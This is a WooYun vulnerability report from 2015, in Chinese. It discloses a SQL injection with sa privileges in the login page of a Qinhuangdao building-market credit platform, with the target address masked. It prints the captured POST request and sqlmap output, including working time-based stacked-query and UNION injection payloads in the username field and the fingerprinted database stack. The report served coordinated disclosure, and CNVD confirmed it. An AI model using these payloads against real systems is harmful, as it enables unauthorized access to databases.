当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0160281

漏洞标题:秦皇岛市建筑市场信用信息审核平台sa权限MSSQL注入(涉及8个库)

相关厂商:秦皇岛市

漏洞作者: 无名人

提交时间:2015-12-11 17:57

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-11: 细节已通知厂商并且等待厂商处理中
2015-12-15: 厂商已经确认,细节仅向厂商公开
2015-12-25: 细节向核心白帽子及相关领域专家公开
2016-01-04: 细节向普通白帽子公开
2016-01-14: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

RT

详细说明:

漏洞系统:http://**.**.**.**:8080/
漏洞地址:

POST / HTTP/1.1
Host: **.**.**.**:8080
Proxy-Connection: keep-alive
Content-Length: 360
Origin: http://**.**.**.**:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://**.**.**.**:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
__LASTFOCUS=&__EVENTTARGET=btnLogin&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTQ3MzUxMDA0OGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCGJ0bkxvZ2luyom%2BnE2wXy%2B3RM5OUXSX7EQnN9Q%3D&__EVENTVALIDATION=%2FwEWAwLN9fGwDAKl1bKzCQK1qbSWC9yFgSgEcSat2kcqW2xwN0PhMUAN&txtUserName=admin&txtPassWord=123456&X_CHANGED=false&X_TARGET=btnLogin&X_STATE=e30%3D&X_AJAX=true


txtUserName参数存在注入,可uinon

---
Parameter: #1* ((custom) POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: __LASTFOCUS=&__EVENTTARGET=btnLogin&__EVENTARGUMENT=&__VIEWSTATE=/w
EPDwUKLTQ3MzUxMDA0OGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCGJ0bkxvZ2
luyom+nE2wXy+3RM5OUXSX7EQnN9Q=&__EVENTVALIDATION=/wEWAwLN9fGwDAKl1bKzCQK1qbSWC9y
FgSgEcSat2kcqW2xwN0PhMUAN&txtUserName=admin';WAITFOR DELAY '0:0:5'--&txtPassWord
=123456&X_CHANGED=false&X_TARGET=btnLogin&X_STATE=e30=&X_AJAX=true
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: __LASTFOCUS=&__EVENTTARGET=btnLogin&__EVENTARGUMENT=&__VIEWSTATE=/w
EPDwUKLTQ3MzUxMDA0OGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCGJ0bkxvZ2
luyom+nE2wXy+3RM5OUXSX7EQnN9Q=&__EVENTVALIDATION=/wEWAwLN9fGwDAKl1bKzCQK1qbSWC9y
FgSgEcSat2kcqW2xwN0PhMUAN&txtUserName=-7223' UNION ALL SELECT 30,30,30,30,CHAR(1
13)+CHAR(98)+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(99)+CHAR(114)+CHAR(101)+CHAR(106
)+CHAR(70)+CHAR(82)+CHAR(67)+CHAR(81)+CHAR(120)+CHAR(113)+CHAR(68)+CHAR(97)+CHAR
(114)+CHAR(84)+CHAR(103)+CHAR(68)+CHAR(100)+CHAR(110)+CHAR(104)+CHAR(120)+CHAR(1
03)+CHAR(87)+CHAR(121)+CHAR(114)+CHAR(69)+CHAR(116)+CHAR(106)+CHAR(106)+CHAR(109
)+CHAR(84)+CHAR(82)+CHAR(81)+CHAR(69)+CHAR(105)+CHAR(107)+CHAR(114)+CHAR(86)+CHA
R(69)+CHAR(86)+CHAR(108)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(98)+CHAR(113),30,30,
30-- &txtPassWord=123456&X_CHANGED=false&X_TARGET=btnLogin&X_STATE=e30=&X_AJAX=t
rue
---
[05:52:01] [INFO] testing Microsoft SQL Server
[05:52:01] [INFO] confirming Microsoft SQL Server
[05:52:02] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2000

漏洞证明:

数据库.png


dba权限:

dba.png

修复方案:

@@

版权声明:转载请注明来源 无名人@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-15 14:57

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给河北分中心,由河北分中心后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价